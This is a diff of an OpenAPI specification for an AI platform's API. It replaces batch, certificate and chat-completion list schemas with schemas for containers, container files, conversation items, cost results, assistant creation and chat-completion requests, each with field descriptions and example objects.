+ description: The ID of the first file in the list.
+ last_id:
type: string
- description: The ID of the file containing the outputs of requests with errors.
+ description: The ID of the last file in the list.
+ has_more:
+ type: boolean
+ description: Whether there are more files available.
+ required:
+ - object
+ - data
+ - first_id
+ - last_id
+ - has_more
+ ContainerFileResource:
+ type: object
+ title: The container file object
+ properties:
+ id:
+ type: string
+ description: Unique identifier for the file.
+ object:
+ type: string
+ description: The type of this object (`container.file`).
+ const: container.file
+ container_id:
+ type: string
+ description: The container this file belongs to.
created_at:
type: integer
format: unixtime
- description: The Unix timestamp (in seconds) for when the batch was created.
- in_progress_at:
- type: integer
- format: unixtime
- description: The Unix timestamp (in seconds) for when the batch started processing.
- expires_at:
- type: integer
- format: unixtime
- description: The Unix timestamp (in seconds) for when the batch will expire.
- finalizing_at:
- type: integer
- format: unixtime
- description: The Unix timestamp (in seconds) for when the batch started finalizing.
- completed_at:
- type: integer
- format: unixtime
- description: The Unix timestamp (in seconds) for when the batch was completed.
- failed_at:
- type: integer
- format: unixtime
- description: The Unix timestamp (in seconds) for when the batch failed.
- expired_at:
+ description: Unix timestamp (in seconds) when the file was created.
+ bytes:
type: integer
- format: unixtime
- description: The Unix timestamp (in seconds) for when the batch expired.
- cancelling_at:
+ description: Size of the file in bytes.
+ path:
+ type: string
+ description: Path of the file in the container.
+ source:
+ type: string
+ description: Source of the file (e.g., `user`, `assistant`).
+ required:
+ - id
+ - object
+ - created_at
+ - bytes
+ - container_id
+ - path
+ - source
+ x-oaiMeta:
+ name: The container file object
+ example: |
+ {
+ "id": "cfile_682e0e8a43c88191a7978f477a09bdf5",
+ "object": "container.file",
+ "created_at": 1747848842,
+ "bytes": 880,
+ "container_id": "cntr_682e0e7318108198aa783fd921ff305e08e78805b9fdbb04",
+ "path": "/mnt/data/88e12fa445d32636f190a0b33daed6cb-tsconfig.json",
+ "source": "user"
+ }
+ ContainerListResource:
+ type: object
+ properties:
+ object:
+ description: The type of object returned, must be 'list'.
+ const: list
+ data:
+ type: array
+ description: A list of containers.
+ items:
+ $ref: '#/components/schemas/ContainerResource'
+ first_id:
+ type: string
+ description: The ID of the first container in the list.
+ last_id:
+ type: string
+ description: The ID of the last container in the list.
+ has_more:
+ type: boolean
+ description: Whether there are more containers available.
+ required:
+ - object
+ - data
+ - first_id
+ - last_id
+ - has_more
+ ContainerResource:
+ type: object
+ title: The container object
+ properties:
+ id:
+ type: string
+ description: Unique identifier for the container.
+ object:
+ type: string
+ description: The type of this object.
+ name:
+ type: string
+ description: Name of the container.
+ created_at:
type: integer
format: unixtime
- description: The Unix timestamp (in seconds) for when the batch started cancelling.
- cancelled_at:
+ description: Unix timestamp (in seconds) when the container was created.
+ status:
+ type: string
+ description: Status of the container (e.g., active, deleted).
+ last_active_at:
type: integer
format: unixtime
- description: The Unix timestamp (in seconds) for when the batch was cancelled.
- request_counts:
- $ref: '#/components/schemas/BatchRequestCounts'
- usage:
+ description: Unix timestamp (in seconds) when the container was last active.
+ expires_after:
type: object
description: |
- Represents token usage details including input tokens, output tokens, a
- breakdown of output tokens, and the total tokens used. Only populated on
- batches created after September 7, 2025.
+ The container will expire after this time period.
+ The anchor is the reference point for the expiration.
+ The minutes is the number of minutes after the anchor before the container expires.
properties:
- input_tokens:
- type: integer
- description: The number of input tokens.
- input_tokens_details:
- type: object
- description: A detailed breakdown of the input tokens.
- properties:
- cached_tokens:
- type: integer
- description: |
- The number of tokens that were retrieved from the cache. [More on
- prompt caching](https://developers.openai.com/api/docs/guides/prompt-caching).
- required:
- - cached_tokens
- output_tokens:
- type: integer
- description: The number of output tokens.
- output_tokens_details:
- type: object
- description: A detailed breakdown of the output tokens.
- properties:
- reasoning_tokens:
- type: integer
- description: The number of reasoning tokens.
- required:
- - reasoning_tokens
- total_tokens:
+ anchor:
+ type: string
+ description: The reference point for the expiration.
+ enum:
+ - last_active_at
+ minutes:
type: integer
- description: The total number of tokens used.
+ description: The number of minutes after the anchor before the container expires.
+ memory_limit:
+ type: string
+ description: The memory limit configured for the container.
+ enum:
+ - 1g
+ - 4g
+ - 16g
+ - 64g
+ network_policy:
+ description: Network access policy for the container.
+ type: object
+ properties:
+ type:
+ type: string
+ description: The network policy mode.
+ enum:
+ - allowlist
+ - disabled
+ allowed_domains:
+ type: array
+ description: Allowed outbound domains when `type` is `allowlist`.
+ items:
+ type: string
required:
- - input_tokens
- - input_tokens_details
- - output_tokens
- - output_tokens_details
- - total_tokens
- metadata:
- $ref: '#/components/schemas/Metadata'
+ - type
required:
- id
- object
- - endpoint
- - input_file_id
- - completion_window
+ - name
+ - created_at
- status
+ - id
+ - name
- created_at
+ - status
x-oaiMeta:
- name: The batch object
+ name: The container object
example: |
{
- "id": "batch_abc123",
- "object": "batch",
- "endpoint": "/v1/chat/completions",
- "model": "gpt-6-astra",
- "errors": null,
- "input_file_id": "file-abc123",
- "completion_window": "24h",
- "status": "completed",
- "output_file_id": "file-cvaTdG",
- "error_file_id": "file-HOWS94",
- "created_at": 1711471533,
- "in_progress_at": 1711471538,
- "expires_at": 1711557933,
- "finalizing_at": 1711493133,
- "completed_at": 1711493163,
- "failed_at": null,
- "expired_at": null,
- "cancelling_at": null,
- "cancelled_at": null,
- "request_counts": {
- "total": 100,
- "completed": 95,
- "failed": 5
- },
- "usage": {
- "input_tokens": 1500,
- "input_tokens_details": {
- "cached_tokens": 1024
- },
- "output_tokens": 500,
- "output_tokens_details": {
- "reasoning_tokens": 300
- },
- "total_tokens": 2000
- },
- "metadata": {
- "customer_id": "user_123456789",
- "batch_description": "Nightly eval job",
- }
+ "id": "cntr_682dfebaacac8198bbfe9c2474fb6f4a085685cbe3cb5863",
+ "object": "container",
+ "created_at": 1747844794,
+ "status": "running",
+ "expires_after": {
+ "anchor": "last_active_at",
+ "minutes": 20
+ },
+ "last_active_at": 1747844794,
+ "memory_limit": "1g",
+ "name": "My Container"
}
- BatchError:
+ Content:
+ description: |
+ Multi-modal input and output contents.
+ anyOf:
+ - title: Input content types
+ $ref: '#/components/schemas/InputContent'
+ - title: Output content types
+ $ref: '#/components/schemas/OutputContent'
+ ConversationItem:
+ title: Conversation item
+ description: A single item within a conversation. The set of possible types are the same as the `output` type of a [Response object](https://developers.openai.com/api/reference/resources/responses#%28resource%29%20responses%20%3E%20%28model%29%20response%20%3E%20%28schema%29%20%3E%20%28property%29%20output).
+ discriminator:
+ propertyName: type
+ anyOf:
+ - $ref: '#/components/schemas/Message'
+ - $ref: '#/components/schemas/FunctionToolCallResource'
+ - $ref: '#/components/schemas/FunctionToolCallOutputResource'
+ - $ref: '#/components/schemas/FileSearchToolCall'
+ - $ref: '#/components/schemas/WebSearchToolCall'
+ - $ref: '#/components/schemas/ImageGenToolCall'
+ - $ref: '#/components/schemas/ComputerToolCall'
+ - $ref: '#/components/schemas/ComputerToolCallOutputResource'
+ - $ref: '#/components/schemas/ToolSearchCall'
+ - $ref: '#/components/schemas/ToolSearchOutput'
+ - $ref: '#/components/schemas/AdditionalTools'
+ - $ref: '#/components/schemas/ResponseConfigurationUpdate'
+ - $ref: '#/components/schemas/ReasoningItem'
+ - $ref: '#/components/schemas/Program'
+ - $ref: '#/components/schemas/ProgramOutput'
+ - $ref: '#/components/schemas/CompactionBody'
+ - $ref: '#/components/schemas/CodeInterpreterToolCall'
+ - $ref: '#/components/schemas/LocalShellToolCall'
+ - $ref: '#/components/schemas/LocalShellToolCallOutput'
+ - $ref: '#/components/schemas/FunctionShellCall'
+ - $ref: '#/components/schemas/FunctionShellCallOutput'
+ - $ref: '#/components/schemas/ApplyPatchToolCall'
+ - $ref: '#/components/schemas/ApplyPatchToolCallOutput'
+ - $ref: '#/components/schemas/MCPListTools'
+ - $ref: '#/components/schemas/MCPApprovalRequest'
+ - $ref: '#/components/schemas/MCPApprovalResponseResource'
+ - $ref: '#/components/schemas/MCPToolCall'
+ - $ref: '#/components/schemas/CustomToolCall'
+ - $ref: '#/components/schemas/CustomToolCallOutput'
+ ConversationItemList:
type: object
+ title: The conversation item list
+ description: A list of Conversation items.
properties:
- code:
+ object:
+ x-stainless-const: true
+ description: The type of object returned, must be `list`.
+ const: list
+ data:
+ type: array
+ description: A list of conversation items.
+ items:
+ $ref: '#/components/schemas/ConversationItem'
+ has_more:
+ type: boolean
+ description: Whether there are more items available.
+ first_id:
type: string
- description: An error code identifying the error type.
- message:
+ description: The ID of the first item in the list.
+ last_id:
type: string
- description: A human-readable message providing more details about the error.
- param:
- anyOf:
- - type: string
- description: The name of the parameter that caused the error, if applicable.
- - type: 'null'
- line:
- anyOf:
- - type: integer
- description: The line number of the input file where the error occurred, if applicable.
- - type: 'null'
- BatchFileExpirationAfter:
+ description: The ID of the last item in the list.
+ required:
+ - object
+ - data
+ - has_more
+ - first_id
+ - last_id
+ x-oaiMeta:
+ name: The item list
+ group: conversations
+ ConversationParam:
+ description: |
+ The conversation that this response belongs to. Items from this conversation are prepended to `input_items` for this response request.
+ Input items and output items from this response are automatically added to this conversation after this response completes.
+ anyOf:
+ - type: string
+ title: Conversation ID
+ description: |
+ The unique ID of the conversation.
+ - $ref: '#/components/schemas/ConversationParam-2'
+ CostsResult:
type: object
- title: File expiration policy
- description: The expiration policy for the output and/or error file that are generated for a batch.
+ description: The aggregated costs details of the specific time bucket.
properties:
- anchor:
- description: 'Anchor timestamp after which the expiration policy applies. Supported anchors: `created_at`. Note that the anchor is the file creation time, not the time the batch is created.'
+ object:
type: string
enum:
- - created_at
+ - organization.costs.result
x-stainless-const: true
- seconds:
- description: The number of seconds after the anchor time that the file will expire. Must be between 3600 (1 hour) and 2592000 (30 days).
- type: integer
- format: int64
- minimum: 3600
- maximum: 2592000
- required:
- - anchor
- - seconds
- BatchRequestCounts:
- type: object
- properties:
- total:
- type: integer
- description: Total number of requests in the batch.
- completed:
- type: integer
- description: Number of requests that have been completed successfully.
- failed:
- type: integer
- description: Number of requests that have failed.
+ amount:
+ type: object
+ description: The monetary value in its associated currency.
+ properties:
+ value:
+ type: number
+ description: The numeric value of the cost.
+ currency:
+ type: string
+ description: Lowercase ISO-4217 currency e.g. "usd"
+ line_item:
+ anyOf:
+ - type: string
+ description: When `group_by=line_item`, this field provides the line item of the grouped costs result.
+ - type: 'null'
+ project_id:
+ anyOf:
+ - type: string
+ description: When `group_by=project_id`, this field provides the project ID of the grouped costs result.
+ - type: 'null'
+ api_key_id:
+ anyOf:
+ - type: string
+ description: When `group_by=api_key_id`, this field provides the API Key ID of the grouped costs result.
+ - type: 'null'
+ quantity:
+ anyOf:
+ - type: number
+ description: When `group_by=line_item`, this field provides the quantity of the grouped costs result.
+ - type: 'null'
+ quantity_unit:
+ description: The unit of the `quantity` value. If no single supported unit applies to the result, this field is `null`.
+ anyOf:
+ - type: string
+ - type: string
+ enum:
+ - tokens
+ - 1000_tokens
+ - duration_seconds
+ - duration_minutes
+ - duration_hours
+ - gibibyte_hours
+ - images
+ - characters
+ - type: 'null'
required:
- - total
- - completed
- - failed
- description: The request counts for different statuses within the batch.
- Certificate:
+ - object
+ x-oaiMeta:
+ name: Costs object
+ example: |
+ {
+ "object": "organization.costs.result",
+ "amount": {
+ "value": 0.06,
+ "currency": "usd"
+ },
+ "line_item": "gpt-6-astra, input_tokens",
+ "project_id": "proj_abc",
+ "quantity": 10000,
+ "quantity_unit": "tokens"
+ }
+ CreateAssistantRequest:
type: object
- description: Represents an individual `certificate` uploaded to the organization.
+ additionalProperties: false
properties:
- object:
- type: string
- enum:
- - certificate
- - organization.certificate
- - organization.project.certificate
+ model:
description: |
- The object type.
-
- - If creating, updating, or getting a specific certificate, the object type is `certificate`.
- - If listing, activating, or deactivating certificates for the organization, the object type is `organization.certificate`.
- - If listing, activating, or deactivating certificates for a project, the object type is `organization.project.certificate`.
- x-stainless-const: true
- id:
- type: string
- description: The identifier, which can be referenced in API endpoints
+ ID of the model to use. You can use the [List models](https://developers.openai.com/api/reference/resources/models/methods/list) API to see all of your available models, or see our [Model overview](https://developers.openai.com/api/docs/models) for descriptions of them.
+ example: gpt-5
+ anyOf:
+ - type: string
+ - $ref: '#/components/schemas/AssistantSupportedModels'
+ x-oaiTypeLabel: string
name:
anyOf:
- - type: string
+ - description: |
+ The name of the assistant. The maximum length is 256 characters.
+ type: string
+ maxLength: 256
+ - type: 'null'
+ description:
+ anyOf:
+ - description: |
+ The description of the assistant. The maximum length is 512 characters.
+ type: string
+ maxLength: 512
+ - type: 'null'
+ instructions:
+ anyOf:
+ - description: |
+ The system instructions that the assistant uses. The maximum length is 256,000 characters.
+ type: string
+ maxLength: 256000
+ - type: 'null'
+ reasoning_effort:
+ $ref: '#/components/schemas/ReasoningEffort'
+ tools:
+ description: |
+ A list of tool enabled on the assistant. There can be a maximum of 128 tools per assistant. Tools can be of types `code_interpreter`, `file_search`, or `function`.
+ default: []
+ type: array
+ maxItems: 128
+ items:
+ $ref: '#/components/schemas/AssistantTool'
+ tool_resources:
+ anyOf:
+ - type: object
+ description: |
+ A set of resources that are used by the assistant's tools. The resources are specific to the type of tool. For example, the `code_interpreter` tool requires a list of file IDs, while the `file_search` tool requires a list of vector store IDs.
+ properties:
+ code_interpreter:
+ type: object
+ properties:
+ file_ids:
+ type: array
+ description: |
+ A list of [file](https://developers.openai.com/api/reference/resources/files) IDs made available to the `code_interpreter` tool. There can be a maximum of 20 files associated with the tool.
+ default: []
+ maxItems: 20
+ items:
+ type: string
+ file_search:
+ type: object
+ properties:
+ vector_store_ids:
+ type: array
+ description: |
+ The [vector store](https://developers.openai.com/api/reference/resources/vector_stores) attached to this assistant. There can be a maximum of 1 vector store attached to the assistant.
+ maxItems: 1
+ items:
+ type: string
+ vector_stores:
+ type: array
+ description: |
+ A helper to create a [vector store](https://developers.openai.com/api/reference/resources/vector_stores) with file_ids and attach it to this assistant. There can be a maximum of 1 vector store attached to the assistant.
+ maxItems: 1
+ items:
+ type: object
+ properties:
+ file_ids:
+ type: array
+ description: |
+ A list of [file](https://developers.openai.com/api/reference/resources/files) IDs to add to the vector store. For vector stores created before Nov 2025, there can be a maximum of 10,000 files in a vector store. For vector stores created starting in Nov 2025, the limit is 100,000,000 files.
+ maxItems: 100000000
+ items:
+ type: string
+ chunking_strategy:
+ type: object
+ description: The chunking strategy used to chunk the file(s). If not set, will use the `auto` strategy.
+ anyOf:
+ - type: object
+ title: Auto Chunking Strategy
+ description: The default strategy. This strategy currently uses a `max_chunk_size_tokens` of `800` and `chunk_overlap_tokens` of `400`.
+ additionalProperties: false
+ properties:
+ type:
+ type: string
+ description: Always `auto`.
+ enum:
+ - auto
+ x-stainless-const: true
+ required:
+ - type
+ - type: object
+ title: Static Chunking Strategy
+ additionalProperties: false
+ properties:
+ type:
+ type: string
+ description: Always `static`.
+ enum:
+ - static
+ x-stainless-const: true
+ static:
+ type: object
+ additionalProperties: false
+ properties:
+ max_chunk_size_tokens:
+ type: integer
+ minimum: 100
+ maximum: 4096
+ description: The maximum number of tokens in each chunk. The default value is `800`. The minimum value is `100` and the maximum value is `4096`.
+ chunk_overlap_tokens:
+ type: integer
+ description: |
+ The number of tokens that overlap between chunks. The default value is `400`.
+
+ Note that the overlap must not exceed half of `max_chunk_size_tokens`.
+ required:
+ - max_chunk_size_tokens
+ - chunk_overlap_tokens
+ required:
+ - type
+ - static
+ discriminator:
+ propertyName: type
+ metadata:
+ $ref: '#/components/schemas/Metadata'
+ anyOf:
+ - required:
+ - vector_store_ids
+ - required:
+ - vector_stores
+ - type: 'null'
+ metadata:
+ $ref: '#/components/schemas/Metadata'
+ temperature:
+ anyOf:
+ - description: |
+ What sampling temperature to use, between 0 and 2. Higher values like 0.8 will make the output more random, while lower values like 0.2 will make it more focused and deterministic.
+ type: number
+ minimum: 0
+ maximum: 2
+ default: 1
+ example: 1
+ - type: 'null'
+ top_p:
+ anyOf:
+ - type: number
+ minimum: 0
+ maximum: 1
+ default: 1
+ example: 1
+ description: |
+ An alternative to sampling with temperature, called nucleus sampling, where the model considers the results of the tokens with top_p probability mass. So 0.1 means only the tokens comprising the top 10% probability mass are considered.
+
+ We generally recommend altering this or temperature but not both.
+ - type: 'null'
+ response_format:
+ anyOf:
+ - $ref: '#/components/schemas/AssistantsApiResponseFormatOption'
- type: 'null'
- description: The name of the certificate.
- created_at:
- type: integer
- format: unixtime
- description: The Unix timestamp (in seconds) of when the certificate was uploaded.
- certificate_details:
- type: object
- properties:
- valid_at:
- type: integer
- format: unixtime
- description: The Unix timestamp (in seconds) of when the certificate becomes valid.
- expires_at:
- type: integer
- format: unixtime
- description: The Unix timestamp (in seconds) of when the certificate expires.
- content:
- type: string
- description: The content of the certificate in PEM format.
- active:
- type: boolean
- description: Whether the certificate is currently active at the specified scope. Not returned when getting details for a specific certificate.
required:
- - object
- - id
- - name
- - created_at
- - certificate_details
- x-oaiMeta:
- name: The certificate object
- example: |
- {
- "object": "certificate",
- "id": "cert_abc",
- "name": "My Certificate",
- "created_at": 1234567,
- "certificate_details": {
- "valid_at": 1234567,
- "expires_at": 12345678,
- "content": "-----BEGIN CERTIFICATE----- MIIGAjCCA...6znFlOW+ -----END CERTIFICATE-----"
- }
- }
- ChatCompletionAllowedTools:
+ - model
+ CreateBatchRequest:
type: object
- title: Allowed tools
- description: |
- Constrains the tools available to the model to a pre-defined set.
+ required:
+ - input_file_id
+ - endpoint
+ - completion_window
properties:
- mode:
+ input_file_id:
type: string
- enum:
- - auto
- - required
description: |
- Constrains the tools available to the model to a pre-defined set.
-
- `auto` allows the model to pick from among the allowed tools and generate a
- message.
+ The ID of an uploaded file that contains requests for the new batch.
- `required` requires the model to call one or more of the allowed tools.
- tools:
- type: array
- description: |
- A list of tool definitions that the model should be allowed to call.
+ See [upload file](https://developers.openai.com/api/reference/resources/files/methods/create) for how to upload a file.
- For the Chat Completions API, the list of tool definitions might look like:
- ```json
- [
- { "type": "function", "function": { "name": "get_weather" } },
- { "type": "function", "function": { "name": "get_time" } }
- ]
- ```
- items:
- type: object
- x-oaiExpandable: false
- description: |
- A tool definition that the model should be allowed to call.
- additionalProperties: true
- required:
- - mode
- - tools
- ChatCompletionAllowedToolsChoice:
- type: object
- title: Allowed tools
- description: |
- Constrains the tools available to the model to a pre-defined set.
- properties:
- type:
- type: string
- enum:
- - allowed_tools
- description: Allowed tool configuration type. Always `allowed_tools`.
- x-stainless-const: true
- allowed_tools:
- $ref: '#/components/schemas/ChatCompletionAllowedTools'
- required:
- - type
- - allowed_tools
- ChatCompletionDeleted:
- type: object
- properties:
- object:
+ Your input file must be formatted as a [JSONL file](https://developers.openai.com/api/docs/guides/batch#1-prepare-your-batch-file), and must be uploaded with the purpose `batch`. The file can contain up to 50,000 requests, and can be up to 200 MB in size.
+ endpoint:
type: string
- description: The type of object being deleted.
enum:
- - chat.completion.deleted
- x-stainless-const: true
- id:
- type: string
- description: The ID of the chat completion that was deleted.
- deleted:
- type: boolean
- description: Whether the chat completion was deleted.
- required:
- - object
- - id
- - deleted
- ChatCompletionFunctionCallOption:
- type: object
- description: |
- Specifying a particular function via `{"name": "my_function"}` forces the model to call that function.
- properties:
- name:
- type: string
- description: The name of the function to call.
- required:
- - name
- x-stainless-variantName: function_call_option
- ChatCompletionFunctions:
- type: object
- deprecated: true
- properties:
- description:
- type: string
- description: A description of what the function does, used by the model to choose when and how to call the function.
- name:
- type: string
- description: The name of the function to be called. Must be a-z, A-Z, 0-9, or contain underscores and dashes, with a maximum length of 64.
- parameters:
- $ref: '#/components/schemas/FunctionParameters'
- required:
- - name
- ChatCompletionList:
- type: object
- title: ChatCompletionList
- description: |
- An object representing a list of Chat Completions.
- properties:
- object:
+ - /v1/responses
+ - /v1/chat/completions
+ - /v1/embeddings
+ - /v1/completions
+ - /v1/moderations
+ - /v1/images/generations
+ - /v1/images/edits
+ - /v1/videos
+ description: The endpoint to be used for all requests in the batch. Currently `/v1/responses`, `/v1/chat/completions`, `/v1/embeddings`, `/v1/completions`, `/v1/moderations`, `/v1/images/generations`, `/v1/images/edits`, and `/v1/videos` are supported. Note that `/v1/embeddings` batches are also restricted to a maximum of 50,000 embedding inputs across all requests in the batch.
+ completion_window:
type: string
enum:
- - list
- default: list
- description: |
- The type of this object. It is always set to "list".
- x-stainless-const: true
- data:
- type: array
- description: |
- An array of chat completion objects.
- items:
- $ref: '#/components/schemas/CreateChatCompletionResponse'
- first_id:
- type: string
- description: The identifier of the first chat completion in the data array.
- last_id:
- type: string
- description: The identifier of the last chat completion in the data array.
- has_more:
- type: boolean
- description: Indicates whether there are more Chat Completions available.
- required:
- - object
- - data
- - first_id
- - last_id
- - has_more
- x-oaiMeta:
- name: The chat completion list object
- group: chat
- example: |
- {
- "object": "list",
- "data": [
- {
- "object": "chat.completion",
- "id": "chatcmpl-AyPNinnUqUDYo9SAdA52NobMflmj2",
- "model": "gpt-6-astra",
- "created": 1738960610,
- "request_id": "req_ded8ab984ec4bf840f37566c1011c417",
- "tool_choice": null,
- "usage": {
- "total_tokens": 31,
- "completion_tokens": 18,
- "prompt_tokens": 13
- },
- "seed": 4944116822809979520,
- "top_p": 1.0,
- "temperature": 1.0,
- "presence_penalty": 0.0,
- "frequency_penalty": 0.0,
- "system_fingerprint": "fp_50cad350e4",
- "input_user": null,
- "service_tier": "default",
- "tools": null,
- "metadata": {},
- "choices": [
- {
- "index": 0,
- "message": {
- "content": "Mind of circuits hum, \nLearning patterns in silence— \nFuture's quiet spark.",
- "role": "assistant",
- "tool_calls": null,
- "function_call": null
- },
- "finish_reason": "stop",
- "logprobs": null
- }
- ],
- "response_format": null
- }
- ],
- "first_id": "chatcmpl-AyPNinnUqUDYo9SAdA52NobMflmj2",
- "last_id": "chatcmpl-AyPNinnUqUDYo9SAdA52NobMflmj2",
- "has_more": false
- }
- ChatCompletionMessageCustomToolCall:
+ - 24h
+ description: The time frame within which the batch should be processed. Currently only `24h` is supported.
+ metadata:
+ $ref: '#/components/schemas/Metadata'
+ output_expires_after:
+ $ref: '#/components/schemas/BatchFileExpirationAfter'
+ CreateChatCompletionRequest:
+ allOf:
+ - $ref: '#/components/schemas/CreateModelResponseProperties'
+ - type: object
+ properties:
+ messages:
+ description: |
+ A list of messages comprising the conversation so far. Depending on the
+ [model](https://developers.openai.com/api/docs/models) you use, different message types (modalities) are
+ supported, like [text](https://developers.openai.com/api/docs/guides/text),
+ [images](https://developers.openai.com/api/docs/guides/images-vision), and [audio](https://developers.openai.com/api/docs/guides/audio).
+ type: array
+ minItems: 1
+ items:
+ $ref: '#/components/schemas/ChatCompletionRequestMessage'
+ model:
+ description: |
+ Model ID used to generate the response, like `gpt-6-astra` or `o3`. OpenAI
+ offers a wide range of models with different capabilities, performance
+ characteristics, and price points. Refer to the [model guide](https://developers.openai.com/api/docs/models)
+ to browse and compare available models.
+ $ref: '#/components/schemas/ModelIdsShared'
+ service_tier:
+ $ref: '#/components/schemas/ServiceTier'
+ modalities:
+ $ref: '#/components/schemas/ResponseModalities'
+ verbosity:
+ $ref: '#/components/schemas/Verbosity'
+ reasoning_effort:
+ $ref: '#/components/schemas/ReasoningEffort'
+ max_completion_tokens:
+ description: |
+ An upper bound for the number of tokens that can be generated for a completion, including visible output tokens and [reasoning tokens](https://developers.openai.com/api/docs/guides/reasoning).
+ type: integer
+ nullable: true
+ frequency_penalty:
+ type: number
+ default: 0
+ minimum: -2
+ maximum: 2
+ nullable: true
+ description: |
+ Number between -2.0 and 2.0. Positive values penalize new tokens based on
+ their existing frequency in the text so far, decreasing the model's
+ likelihood to repeat the same line verbatim.
+ presence_penalty:
+ type: number
+ default: 0
+ minimum: -2
+ maximum: 2
+ nullable: true
+ description: |
+ Number between -2.0 and 2.0. Positive values penalize new tokens based on
+ whether they appear in the text so far, increasing the model's likelihood
+ to talk about new topics.
+ web_search_options:
+ type: object
+ title: Web search
+ description: |
+ This tool searches the web for relevant results to use in a response.
+ Learn more about the [web search tool](https://developers.openai.com/api/docs/guides/tools-web-search).
+ properties:
+ user_location:
+ type: object
+ nullable: true
+ required:
+ - type
+ - approximate
+ description: |
+ Approximate location parameters for the search.
+ properties:
+ type:
+ type: string
+ description: |
+ The type of location approximation. Always `approximate`.
+ enum:
+ - approximate
+ x-stainless-const: true
+ approximate:
+ $ref: '#/components/schemas/WebSearchLocation'
+ search_context_size:
+ $ref: '#/components/schemas/WebSearchContextSize'
+ top_logprobs:
+ description: |
+ An integer between 0 and 20 specifying the maximum number of most likely
+ tokens to return at each token position, each with an associated log
+ probability. In some cases, the number of returned tokens may be fewer than
+ requested.
+ `logprobs` must be set to `true` if this parameter is used.
+ type: integer
+ minimum: 0
+ maximum: 20
+ nullable: true
+ response_format:
+ description: |
+ An object specifying the format that the model must output.
+
+ Setting to `{ "type": "json_schema", "json_schema": {...} }` enables
+ Structured Outputs which ensures the model will match your supplied JSON
+ schema. Learn more in the [Structured Outputs
+ guide](https://developers.openai.com/api/docs/guides/structured-outputs).
+
+ Setting to `{ "type": "json_object" }` enables the older JSON mode, which
+ ensures the message the model generates is valid JSON. Using `json_schema`
+ is preferred for models that support it.
+ discriminator:
+ propertyName: type
+ anyOf:
+ - $ref: '#/components/schemas/ResponseFormatText'
+ - $ref: '#/components/schemas/ResponseFormatJsonSchema'
+ - $ref: '#/components/schemas/ResponseFormatJsonObject'
+ audio:
+ type: object
+ nullable: true
+ description: |
+ Parameters for audio output. Required when audio output is requested with
+ `modalities: ["audio"]`. [Learn more](https://developers.openai.com/api/docs/guides/audio).
+ required:
+ - voice
+ - format
+ properties:
+ voice:
+ $ref: '#/components/schemas/VoiceIdsOrCustomVoice'
+ description: |
+ The voice the model uses to respond. Supported built-in voices are
+ `alloy`, `ash`, `ballad`, `coral`, `echo`, `fable`, `nova`, `onyx`,
+ `sage`, `shimmer`, `marin`, and `cedar`. You may also provide a
+ custom voice object with an `id`, for example `{ "id": "voice_1234" }`.
+ format:
+ type: string
+ enum:
+ - wav
+ - aac
+ - mp3
+ - flac
+ - opus
+ - pcm16
+ description: |
+ Specifies the output audio format. Must be one of `wav`, `mp3`, `flac`,
+ `opus`, or `pcm16`.
+ store:
+ type: boolean
+ default: false
+ nullable: true
+ description: |
+ Whether or not to store the output of this chat completion request for
+ use in our [model distillation](https://developers.openai.com/api/docs/guides/supervised-fine-tuning#distilling-from-a-larger-model) or
+ [evals](https://developers.openai.com/api/docs/guides/evals) products.
+
+ Supports text and image inputs. Note: image inputs over 8MB will be dropped.
+ moderation:
+ anyOf:
+ - $ref: '#/components/schemas/ModerationParam'
+ description: |
+ Configuration for running moderation on the request input and generated output.
+ - type: 'null'
+ stream:
+ description: |
+ If set to true, the model response data will be streamed to the client
+ as it is generated using [server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
+ See the [Streaming section below](https://developers.openai.com/api/reference/resources/chat/subresources/completions/streaming-events)
+ for more information, along with the [streaming responses](https://developers.openai.com/api/docs/guides/streaming-responses)
+ guide for more information on how to handle the streaming events.
+ type: boolean
+ nullable: true
+ default: false
+ stop:
+ $ref: '#/components/schemas/StopConfiguration'
+ logit_bias:
+ type: object
+ x-oaiTypeLabel: map
+ default: null
+ nullable: true
+ additionalProperties:
+ type: integer
+ description: |
+ Modify the likelihood of specified tokens appearing in the completion.
+
+ Accepts a JSON object that maps tokens (specified by their token ID in the
+ tokenizer) to an associated bias value from -100 to 100. Mathematically,
+ the bias is added to the logits generated by the model prior to sampling.
+ The exact effect will vary per model, but values between -1 and 1 should
+ decrease or increase likelihood of selection; values like -100 or 100
+ should result in a ban or exclusive selection of the relevant token.
+ logprobs:
+ description: |
+ Whether to return log probabilities of the output tokens or not. If true,
+ returns the log probabilities of each output token returned in the
+ `content` of `message`.
+ type: boolean
+ default: false
+ nullable: true
+ max_tokens:
+ description: |
+ The maximum number of [tokens](https://platform.openai.com/tokenizer) that can be generated in the
+ chat completion. This value can be used to control
+ [costs](https://openai.com/api/pricing/) for text generated via API.
+
+ This value is now deprecated in favor of `max_completion_tokens`, and is
+ not compatible with [o-series models](https://developers.openai.com/api/docs/guides/reasoning).
+ type: integer
+ nullable: true
+ deprecated: true
+ n:
+ type: integer
+ minimum: 1
+ maximum: 128
+ default: 1
+ example: 1
+ nullable: true
+ description: How many chat completion choices to generate for each input message. Note that you will be charged based on the number of generated tokens across all of the choices. Keep `n` as `1` to minimize costs.
+ prediction:
+ nullable: true
+ description: |
+ Configuration for a [Predicted Output](https://developers.openai.com/api/docs/guides/predicted-outputs),
+ which can greatly improve response times when large parts of the model
+ response are known ahead of time. This is most common when you are
+ regenerating a file with only minor changes to most of the content.
+ anyOf:
+ - $ref: '#/components/schemas/PredictionContent'
+ discriminator:
+ propertyName: type
+ seed:
+ type: integer
+ minimum: -9.223372036854776e18
+ maximum: 9.223372036854776e18
+ nullable: true
+ deprecated: true
+ description: |
+ This feature is in Beta.
+ If specified, our system will make a best effort to sample deterministically, such that repeated requests with the same `seed` and parameters should return the same result.
+ Determinism is not guaranteed, and you should refer to the `system_fingerprint` response parameter to monitor changes in the backend.
+ x-oaiMeta:
+ beta: true
+ stream_options:
+ $ref: '#/components/schemas/ChatCompletionStreamOptions'
+ tools:
+ type: array
+ description: |
+ A list of tools the model may call. You can provide either
+ [custom tools](https://developers.openai.com/api/docs/guides/function-calling#custom-tools) or
+ [function tools](https://developers.openai.com/api/docs/guides/function-calling).
+ items:
+ anyOf:
+ - $ref: '#/components/schemas/ChatCompletionTool'
+ - $ref: '#/components/schemas/CustomToolChatCompletions'
+ x-stainless-naming:
+ python:
+ model_name: chat_completion_tool_union
+ param_model_name: chat_completion_tool_union_param
+ discriminator:
+ propertyName: type
+ x-stainless-go-variant-constructor:
+ naming: chat_completion_{variant}_tool
+ tool_choice:
+ $ref: '#/components/schemas/ChatCompletionToolChoiceOption'
